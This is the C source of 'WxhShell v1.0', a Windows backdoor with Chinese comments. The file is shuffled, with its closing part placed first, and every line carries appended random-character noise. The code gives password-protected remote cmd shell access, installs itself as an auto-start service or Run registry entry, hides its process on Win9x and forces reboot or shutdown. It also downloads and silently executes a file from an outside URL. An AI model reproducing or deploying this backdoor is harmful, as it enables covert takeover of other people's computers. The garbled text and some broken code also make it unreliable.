    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i.sq^]j  
    else { L|X5Ru  
    closesocket(wsh); 9^u?v`!  
    ExitThread(0); hptuTBD  
    } -Q6pV<i  
    break; {n]sRz  
    } x1wxB 1)2  
  // 获取shell I*}#nY0+  
  case 's': { A ? M]5d  
    CmdShell(wsh); E0Q"qEvU  
    closesocket(wsh); ^{:jY, ?]  
    ExitThread(0); er0D5f R  
    break; BuTIJb+Q\  
  } KIo}Gd&  
  // 退出 d8HB2c5y0i  
  case 'x': { (x qA.(F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "ILWIzf.]  
    CloseIt(wsh); "!tw ,Gp  
    break; 'c&@~O;^d  
    } rf->mk{  
  // 离开 ;YDF*~9u  
  case 'q': { 8[)]3K x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y.p6%E_`  
    closesocket(wsh); fm%RNAPvc  
    WSACleanup(); V=&,^qZ  
    exit(1); abeSkWUL(  
    break; DYlvxF`  
        } T-C#xmY(  
  } toqzS!&.v  
  } .dT;T%3fO  
xGfD z*t  
  // 提示信息 87KrSZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ( 'n8=J  
} E[.tQ|C  
  } br  Z, s  
/;AZ/Ocy!  
  return; V<4+g/  
} i ,pN1_-  
O[)]dD&'  
// shell模块句柄 cmhN(==  
int CmdShell(SOCKET sock) eJw="  
{ Eqbe$o`dd  
STARTUPINFO si; ShJK&70O  
ZeroMemory(&si,sizeof(si)); cEc,eq|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <{420  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rAWl0y_m  
PROCESS_INFORMATION ProcessInfo; +RV-VrV  
char cmdline[]="cmd"; S tnv>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UVc<C 1 q  
  return 0; ^}Qj}  
} 4iNbK~5j  
99 "[b  
// 自身启动模式 hNnX-^J<o  
int StartFromService(void) pP* ~ =?  
{ rA1r#ksQ  
typedef struct u=;nU(]M '  
{ W Gw!Y1wq  
  DWORD ExitStatus; ^YR|WKY  
  DWORD PebBaseAddress; 7sc<dM  
  DWORD AffinityMask; rEyz|k:  
  DWORD BasePriority; ,LW+7yD  
  ULONG UniqueProcessId; c5E#QV0&v~  
  ULONG InheritedFromUniqueProcessId; [OZ=iz.  
}   PROCESS_BASIC_INFORMATION; rN1U.FRe/  
- SS r  
PROCNTQSIP NtQueryInformationProcess; ~ sIGI?5f  
[z%?MIT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zk 5=Opmvh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0[:9 Hb6  
Ae j   
  HANDLE             hProcess; K- I\P6R`  
  PROCESS_BASIC_INFORMATION pbi; D!}K)T1~R  
/.)[9bQ<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); - ~\.n  
  if(NULL == hInst ) return 0; 6f?BltFaN  
7q!yCU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P:(EU s}0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .L7Yf+yFg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /^LH  
*)bd1B#  
  if (!NtQueryInformationProcess) return 0; B9e.-Xaf  
|Vwc/9`t]>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g T XW2S  
  if(!hProcess) return 0; +K;Y+ K&;2  
X#DL/#z k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ')5L_$  
J4G> E.8  
  CloseHandle(hProcess); px _s@>l`  
~J1;tZS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); - LiPHHX<  
if(hProcess==NULL) return 0; LMFK3Gd[  
>H}jR[H'  
HMODULE hMod; Ty3CBR{6  
char procName[255]; SgpZ;\_  
unsigned long cbNeeded; >AQ) x  
(@ fa~?v>@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @1v3-n=  
kz0I2!bt  
  CloseHandle(hProcess); i)7n c  
]Y4q'KH  
if(strstr(procName,"services")) return 1; // 以服务启动 > X[|c"l.  
p9AZ9xr  
  return 0; // 注册表启动 ]D LZ&5pv  
} OG`|td  
goDV2 alC^  
// 主模块 )C>}"#J>  
int StartWxhshell(LPSTR lpCmdLine) ZU-4})7uSB  
{ 3J'73)y  
  SOCKET wsl; "mPSA Z  
BOOL val=TRUE; mPs%ZC  
  int port=0; 4<T*i{[  
  struct sockaddr_in door; SqXy;S@  
%'L].+$t  
  if(wscfg.ws_autoins) Install(); djsz!$  
K/vxzHSl  
port=atoi(lpCmdLine); 894r;UA7  
q Vm"f,ruo  
if(port<=0) port=wscfg.ws_port; 4D^ M<Xn  
=`qRu  
  WSADATA data; #%? FM>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #)^^_  
]8$#qDS@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rH$eB/#F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =[]x\&@t  
  door.sin_family = AF_INET; 1l/AKI(!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4>4V-m\  
  door.sin_port = htons(port); ;w`sz.  
*A?8F"6>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {ExII<=6  
closesocket(wsl); 9ZDVy7m\i-  
return 1; FZe:co8Mu  
} *.," N}  
O87"[c`>  
  if(listen(wsl,2) == INVALID_SOCKET) { { p1lae  
closesocket(wsl); v:r D3=M-  
return 1; 6exI_3A4jh  
} YBX)eWslK  
  Wxhshell(wsl); (U|)xA]y!  
  WSACleanup(); XC|*A$x,  
)v%l0_z{  
return 0; z,pNb%*O  
-#LjI.  
} CO-Iar  
/8xH$n&xoC  
// 以NT服务方式启动 N'I(P9@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) izMYVI?0  
{ EjWgaV  
DWORD   status = 0; 7\IL  
  DWORD   specificError = 0xfffffff; 3A-*vaySV  
"\}b!gl$8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q_ctX|.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a9[mZVMgUK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <57g{e0I  
  serviceStatus.dwWin32ExitCode     = 0; Y [W6Sc  
  serviceStatus.dwServiceSpecificExitCode = 0; Hx$.9'Oq\Q  
  serviceStatus.dwCheckPoint       = 0; bqSMDK  
  serviceStatus.dwWaitHint       = 0; h`=r )D  
oZgHSRRL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kMM'[w  
  if (hServiceStatusHandle==0) return; jcE Msc  
'KH lrmnr  
status = GetLastError(); .iFViVZC  
  if (status!=NO_ERROR) ^6Yd}  
{ 6\NvG,8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -*?p F_*w  
    serviceStatus.dwCheckPoint       = 0; R"@7m!IA  
    serviceStatus.dwWaitHint       = 0; C(G(^_6  
    serviceStatus.dwWin32ExitCode     = status; rwy+~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2Kjrw;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BU`ckK\(  
    return; >tN5vWW  
  } * -0>3  
Z a! gbt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6Lb{r4^  
  serviceStatus.dwCheckPoint       = 0; z<!O!wX_aI  
  serviceStatus.dwWaitHint       = 0; ]DO&x+Rb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e,(a6X  
} t<Ot|Ex  
xk& NAB  
// 处理NT服务事件,比如:启动、停止 ML=eL*}l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zX98c  
{ `?l3Ct*  
switch(fdwControl) 6D|p Qs  
{ /hL\,x 2  
case SERVICE_CONTROL_STOP: g0PT8]8  
  serviceStatus.dwWin32ExitCode = 0; Xx_tpC?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A_Rrcsl4  
  serviceStatus.dwCheckPoint   = 0; tAERbiH  
  serviceStatus.dwWaitHint     = 0; '3^Q14`R  
  { ioxbf6{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3A_G=WaED  
  } \^jjK,OK  
  return; C0QM#"[  
case SERVICE_CONTROL_PAUSE: k)cP! %z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6hO-H&r++  
  break; *Ddi(`  
case SERVICE_CONTROL_CONTINUE: [ 7g><  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >%u@R3PH]  
  break; AotCX7T2T  
case SERVICE_CONTROL_INTERROGATE: #.H}r6jqs  
  break; X3<K 1/<  
}; P;73Hr[E#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Al YNEY  
} onwjn+"&  
l-<`m#/v  
// 标准应用程序主函数 Sm)u9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V7EQ4Om:It  
{ TN\|fzj  
R:M,tL-l  
// 获取操作系统版本 V,Q4n%h1.  
OsIsNt=GetOsVer(); 6kN:*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0 Qnd6mb  
\9`#]#1bx5  
  // 从命令行安装 -U >y   
  if(strpbrk(lpCmdLine,"iI")) Install(); 7/aOsW"6  
#Y2i*:<  
  // 下载执行文件  S(  
if(wscfg.ws_downexe) { !J3UqS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LBat:7aH>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7CGyC[[T~  
} z8"7u /4v{  
gv|"OlB  
if(!OsIsNt) { r{_>ldjq  
// 如果时win9x,隐藏进程并且设置为注册表启动 E8ta|D  
HideProc(); nn+_TMu  
StartWxhshell(lpCmdLine); u#@RM^738d  
} 2z\e\I  
else MG{l~|\x)  
  if(StartFromService()) -R b{^/  
  // 以服务方式启动 _[t8rl  
  StartServiceCtrlDispatcher(DispatchTable); ?T!)X)A#  
else yz8jU*H  
  // 普通方式启动 F'FP0t!S  
  StartWxhshell(lpCmdLine); O6X"RsI}  
C h19h8M  
return 0; 1& ^?U{  
} +.kfU)6@  
"g0(I8  
0 ipN8Pg+  
Hr^3`@}#1  
=========================================== g9~]s 9  
pDl3!m  
D=+NxR[  
,eRQu.  
nL-K)G,  
,[e\cnq[  
" @1:0h9%  
Z6Fp\aI8@  
#include <stdio.h> ok{!+VCB5  
#include <string.h> esX)"_xf  
#include <windows.h> jQ+sn/ROp  
#include <winsock2.h> fQdK]rLj  
#include <winsvc.h> t~hTp K*  
#include <urlmon.h> Gh\q^?}  
GpI!J}~m  
#pragma comment (lib, "Ws2_32.lib") y >+mc7n  
#pragma comment (lib, "urlmon.lib") ?!'Zf Q:zK  
iM]o"qOQm  
#define MAX_USER   100 // 最大客户端连接数 !h`kX[:  
#define BUF_SOCK   200 // sock buffer KzV 2MO-$  
#define KEY_BUFF   255 // 输入 buffer f0>!qt  
k|xtr&1N.!  
#define REBOOT     0   // 重启 F(,UA+$A  
#define SHUTDOWN   1   // 关机 Iz@)!3h  
;j%BK(5  
#define DEF_PORT   5000 // 监听端口 2=iH$v  
C\*4q8(  
#define REG_LEN     16   // 注册表键长度 ,xfO;yd  
#define SVC_LEN     80   // NT服务名长度 B*3Y !!  
!mMpb/&&S  
// 从dll定义API bB}5U@G|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `5~3G2T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rsXq- Pq*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t#i,1aHA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n6<V+G)T  
SUM4Di7  
// wxhshell配置信息 #oni:]E!m  
struct WSCFG { {Ui =b+  
  int ws_port;         // 监听端口 eq4C+&O&  
  char ws_passstr[REG_LEN]; // 口令 Wwujh2g"0|  
  int ws_autoins;       // 安装标记, 1=yes 0=no >znRyQ~bM  
  char ws_regname[REG_LEN]; // 注册表键名 -E4XIn  
  char ws_svcname[REG_LEN]; // 服务名 Sa1 l=^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iyta;dw9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >>{FzR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %9oYw9 H!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O1'm@ q)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !\Xm!I8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tr0B[QF  
2L?!tBw?1  
}; $~;D9  
-E"GX  
// default Wxhshell configuration /X'(3'a  
struct WSCFG wscfg={DEF_PORT, G 2!xPHz  
    "xuhuanlingzhe", fw6UhG  
    1, /FP5`:PfL  
    "Wxhshell", `;l.MZL!  
    "Wxhshell", .iX# A<E}  
            "WxhShell Service", ?>"Yr,b?  
    "Wrsky Windows CmdShell Service", #~O b)q|  
    "Please Input Your Password: ", 0tg8~H3yy  
  1, *3/T;x.  
  "http://www.wrsky.com/wxhshell.exe", ]n."<qxeT  
  "Wxhshell.exe" ::FS/Y]Fg  
    }; :>Rv!x`  
<Z}SKR"U%  
// 消息定义模块 -#!x|ne  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /,=@8k!t?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { FZ=olZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3psU?8(  
char *msg_ws_ext="\n\rExit."; Z_1U9 +,  
char *msg_ws_end="\n\rQuit."; 3"n\8#X{  
char *msg_ws_boot="\n\rReboot..."; ,L bBpi=TJ  
char *msg_ws_poff="\n\rShutdown..."; fjk\L\1  
char *msg_ws_down="\n\rSave to "; . \   
10!wqyj&  
char *msg_ws_err="\n\rErr!"; s, k  
char *msg_ws_ok="\n\rOK!"; &F STpBu  
;2'q_Btk4  
char ExeFile[MAX_PATH]; Urr#N  
int nUser = 0; X3'H `/  
HANDLE handles[MAX_USER]; l7#yZ*<v  
int OsIsNt; =0uAE7q(9  
!$N<ds.  
SERVICE_STATUS       serviceStatus; EnOU?D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ib{-A&  
N_:qRpp6i  
// 函数声明 bwiPS1+);  
int Install(void); EBz}|GY;  
int Uninstall(void); [(1c<b2r  
int DownloadFile(char *sURL, SOCKET wsh); 9z)5Mdf1j  
int Boot(int flag); ]BR,M4   
void HideProc(void); U!U$x74D5  
int GetOsVer(void); sBrI}[oyx  
int Wxhshell(SOCKET wsl); ?T+q/lt4  
void TalkWithClient(void *cs); ZaNQpH.  
int CmdShell(SOCKET sock); U- )i+}Ng  
int StartFromService(void); J{^RkGF  
int StartWxhshell(LPSTR lpCmdLine); E4 m`  
b[V^86X^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A\8}|r(>9E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K2%w0ohC  
P(F+f `T  
// 数据结构和表定义 |$5[(6T|  
SERVICE_TABLE_ENTRY DispatchTable[] = #9K-7je;j  
{ ME'|saP  
{wscfg.ws_svcname, NTServiceMain}, 3Zi@A4Wu  
{NULL, NULL} k'0Pi6  
}; 6G=j6gK%P  
^%O]P`$  
// 自我安装 xhcK~5C  
int Install(void) ZXm/A0)S  
{ 6k#Jpmmr  
  char svExeFile[MAX_PATH]; giz7{Ai  
  HKEY key; gz3pX#S  
  strcpy(svExeFile,ExeFile); {nLjY|*  
Qxj JN^Q  
// 如果是win9x系统,修改注册表设为自启动 ,}K<*t[I  
if(!OsIsNt) { g<~Cpd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bV,}Pp+/"!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V+O"j^Z_J  
  RegCloseKey(key); 9K1oZ?)_z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %2v4<icvq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L|p Z$HB  
  RegCloseKey(key); Ol!ntNhXm  
  return 0; _%QhOY5tv"  
    } 6Fe34n]m  
  } M![J2=  
} BCA&mi3q  
else { fkac_X$7  
o}ZdTf=  
// 如果是NT以上系统,安装为系统服务 `]%|f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i>(e}<i  
if (schSCManager!=0) wiiCd  
{ ti#7(^j  
  SC_HANDLE schService = CreateService 8YbE`32  
  ( AvW:<}a,  
  schSCManager, 2k=# om19  
  wscfg.ws_svcname, Qjb:WC7he  
  wscfg.ws_svcdisp, <i,U )Tt^C  
  SERVICE_ALL_ACCESS, )= =Jfn y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [UH||qW  
  SERVICE_AUTO_START, NX}<*b/  
  SERVICE_ERROR_NORMAL, R6(oZph  
  svExeFile, 9g<7i  
  NULL, =zz ~kon9  
  NULL, #"B\UN  
  NULL, ^jx7@LgS=  
  NULL, P?k0zwOlBl  
  NULL ]UmFhBR-  
  ); sIy^m}02  
  if (schService!=0) >6?__v]9G  
  { ,k;^G>< =  
  CloseServiceHandle(schService); [EKQR>s)  
  CloseServiceHandle(schSCManager); "yS _s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P}4QQw  
  strcat(svExeFile,wscfg.ws_svcname); }9FSO9*&}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3U0`,c\ao*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [C'JH//q*t  
  RegCloseKey(key); ?U2<  
  return 0; 9?SZNL['V  
    } U[ 0=L`0e  
  } va0{>Dc+  
  CloseServiceHandle(schSCManager); S Em Q@1  
} *+#8mA(  
} ,=[?yJy  
`9BROZnq  
return 1; '!eKTC>  
} oaIi2=Tf  
):[7E(F=  
// 自我卸载 o{y9r{~A  
int Uninstall(void) MB~=f[cUnd  
{ uo@n(>}EL  
  HKEY key; '2 PF  
GJ_7h_4  
if(!OsIsNt) { QD0"rxZJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?M\{&mlF  
  RegDeleteValue(key,wscfg.ws_regname); *=V~YF:Qb  
  RegCloseKey(key); 73/P&hT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Qg_F6y  
  RegDeleteValue(key,wscfg.ws_regname); >LOjV0K/  
  RegCloseKey(key); pu2 tY7J a  
  return 0; )mF5Vw"  
  } @}}$zv6l,  
} 8; 0A g  
} e?8HgiP-  
else { f,018]|  
X\bOz[\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;)D];u|_  
if (schSCManager!=0) xHD=\,{ig  
{ M`,)wi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OC BgR4I  
  if (schService!=0) JzQ)jdvp  
  { +%ee8|\  
  if(DeleteService(schService)!=0) { @`q:IIgW  
  CloseServiceHandle(schService); h4 T5+~rw  
  CloseServiceHandle(schSCManager); lPw%ErG  
  return 0; qVH1}9_  
  } .y!<t}  
  CloseServiceHandle(schService); W04@!_) <  
  } ahJ`$U4n  
  CloseServiceHandle(schSCManager); n>BkTaI  
} Uq^#riq  
} zh8nc%X{  
old(i:2  
return 1; ~?d Nd  
} #h` V>;  
wl#@lOv-P  
// 从指定url下载文件 (|klSz_4LM  
int DownloadFile(char *sURL, SOCKET wsh) 9\_eK,*B  
{ ;$.J3!  
  HRESULT hr; /_I]H  
char seps[]= "/"; UQ?XqgUM  
char *token; Ya3C#=  
char *file; (k5We!4[1  
char myURL[MAX_PATH]; I|gB@|_~  
char myFILE[MAX_PATH]; &$`P,i 1)  
F\KjEl0  
strcpy(myURL,sURL); vq(0OPj8r[  
  token=strtok(myURL,seps); aX)I3^ar  
  while(token!=NULL) ,JAx ?Xb  
  { M2OIBH4!  
    file=token; _>(^tCo  
  token=strtok(NULL,seps); =;Rtdy/Yn%  
  } itBwCIjG  
-GhP9; d  
GetCurrentDirectory(MAX_PATH,myFILE); [q?<Qe  
strcat(myFILE, "\\"); 5:Z0Pt  
strcat(myFILE, file); ;z}i-cNae  
  send(wsh,myFILE,strlen(myFILE),0); B +\3-q  
send(wsh,"...",3,0); o<BOYrS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?!A7rb/tj  
  if(hr==S_OK) YIoQL}pX  
return 0; GpY"f c%  
else e7Xeo+/  
return 1; 6#7Lm) g8  
m$}R%  
} Wbr|_W  
!t$'AoVBq  
// 系统电源模块 r`W)0oxD  
int Boot(int flag) sFT.Oxg<  
{ \<JSkr[h!"  
  HANDLE hToken; >s>1[W@*  
  TOKEN_PRIVILEGES tkp; 52:HNA\E/  
R!\_rc1/  
  if(OsIsNt) { v1o#1;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3er nTD*`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $HHs^tW  
    tkp.PrivilegeCount = 1; +b0eE)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _}lZ,L(w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q sZx) bO  
if(flag==REBOOT) { .7e2YI,S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #hfXZVD  
  return 0; <*16(!k0  
} tItX y  
else { [I '0,y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nw-xSS{  
  return 0; gw#5jW\  
} dgR g>)V  
  } {MtpkUN  
  else { 1C}NQ!.  
if(flag==REBOOT) { mHV%I@`Y6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CtyoHvw+M  
  return 0; ciBP7>'::  
} h`KFL/fT  
else { {@6= Q 6L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G`SUxhCk  
  return 0; K0-ypU*P  
} HePUWL'  
} 5]KW^sL  
|^:cG4e  
return 1; B~]k#Ot)  
} FQu8 vwV6>  
)Xk0VDNp$/  
// win9x进程隐藏模块 7C,&*Ax,9  
void HideProc(void) 6IBgt!=,  
{ Yw4n-0g  
$7O}S.x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fol,xMc&  
  if ( hKernel != NULL ) tNO-e|~'  
  { KK&rb~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Aw}"gpL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  CJ1 7n  
    FreeLibrary(hKernel); f sJ9bQm/  
  } U{7w#>V .  
~HTmO;HNf"  
return; xf<at->  
} mw_~*Nc'9  
5's87Z;6  
// 获取操作系统版本 {@eJtF+2  
int GetOsVer(void) AqWUwK9T  
{ Huy5-[)15  
  OSVERSIONINFO winfo; o)Iff)m$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SX<` {x&L  
  GetVersionEx(&winfo); iP =V8g?L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gp5_Z-me  
  return 1; 9!6f-K  
  else -=%@L&y1  
  return 0; 0"kbrv2y  
} (KFCs^x7wG  
iX0i2ek  
// 客户端句柄模块 C`$n[kCJ  
int Wxhshell(SOCKET wsl) T=iJGRctB  
{ HBy[FYa4  
  SOCKET wsh; 1,6}_MA  
  struct sockaddr_in client; NG--6\  
  DWORD myID; 2;z b\d  
A0o-:n Fu  
  while(nUser<MAX_USER) ti5mIW\  
{ GC>e26\:  
  int nSize=sizeof(client); 2Z-ljD&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !Y$h"<M  
  if(wsh==INVALID_SOCKET) return 1; O~T@rX9f  
k`So -e-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CLRiJ*U  
if(handles[nUser]==0) ZIf  
  closesocket(wsh); 5* j?E  
else /I1h2 E  
  nUser++; 0rOfrTNOz%  
  } )k\H@Dy%$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +1uF !G&l  
KV}FZ3jY  
  return 0; qs1 ?IYD  
} 4A8;tU$&  
G'oG< /A  
// 关闭 socket S0B|#O%Z  
void CloseIt(SOCKET wsh) O #F   
{ gYNjzew'  
closesocket(wsh); |uX,5Q#6  
nUser--; FoNSM$x  
ExitThread(0); 2/?`J  
} mR&H9 NG  
*C5R}9O5  
// 客户端请求句柄 ;1:Js0=;H  
void TalkWithClient(void *cs) <D:.(AUeO  
{ =7w\ 7-.m  
9Xj7~,  
  SOCKET wsh=(SOCKET)cs; 19HM])Zw\  
  char pwd[SVC_LEN]; f({Ei`|  
  char cmd[KEY_BUFF]; [NaN>BZ?  
char chr[1]; !qv ea,vw  
int i,j; 7({]x*o*%  
zfc'=ODX  
  while (nUser < MAX_USER) { SW*"\X;  
: ]sUpO  
if(wscfg.ws_passstr) { $K]m{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z1 Bp+a3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MXw hxk#E  
  //ZeroMemory(pwd,KEY_BUFF); b6Wqr/  
      i=0; byLft 1  
  while(i<SVC_LEN) { ;*Ivn@L  
oE+R3[D?r  
  // 设置超时 2^y ^q2(r  
  fd_set FdRead; B.dH(um  
  struct timeval TimeOut; .ni_p 6!  
  FD_ZERO(&FdRead); 4(|cG7>9-  
  FD_SET(wsh,&FdRead); 2>cGH7EBD  
  TimeOut.tv_sec=8; 5 MN8D COF  
  TimeOut.tv_usec=0; +?:7O=Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I,0q4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JBi*P.79^  
V#XppYU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7[> 6i  
  pwd=chr[0]; b\3Oyp>  
  if(chr[0]==0xd || chr[0]==0xa) { $"FQj4%d  
  pwd=0; m;'6MHx;  
  break; PK{acen  
  } jF0jkj1&/[  
  i++; {)BTR%t  
    } gu0j.XS^  
\9cG36  
  // 如果是非法用户,关闭 socket 6G #}Q/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Jogt#Fj ]  
} 0 vtt"f)Y[  
pm_`>3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W+PJZn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HkO7R `  
*VFf.aPwYi  
while(1) { h-G)o[MA  
_CmOd-y  
  ZeroMemory(cmd,KEY_BUFF); vbb 5f#WZ  
Tw""}|] g  
      // 自动支持客户端 telnet标准   G&i!Hs  
  j=0; Fh`~`eog  
  while(j<KEY_BUFF) { /W>iJfx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $oj:e?8N  
  cmd[j]=chr[0]; PmKeF}  
  if(chr[0]==0xa || chr[0]==0xd) { Bwa'`+bC  
  cmd[j]=0; KVn []@#  
  break; PcA2/!a  
  } )TVFtI=,NN  
  j++; mS~o?q-n  
    } tn Pv70m  
j6Yy6X]  
  // 下载文件 K POa|$  
  if(strstr(cmd,"http://")) { E%r k[wI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;$smH=I  
  if(DownloadFile(cmd,wsh)) d8[J@M53|T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1cI`9  
  else Z Uox Mm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \6R,Nq  
  } t5y;CxL  
  else { LIcM3_.  
lu<xv  
    switch(cmd[0]) { 0`X]o'RxS  
  $, ,op(  
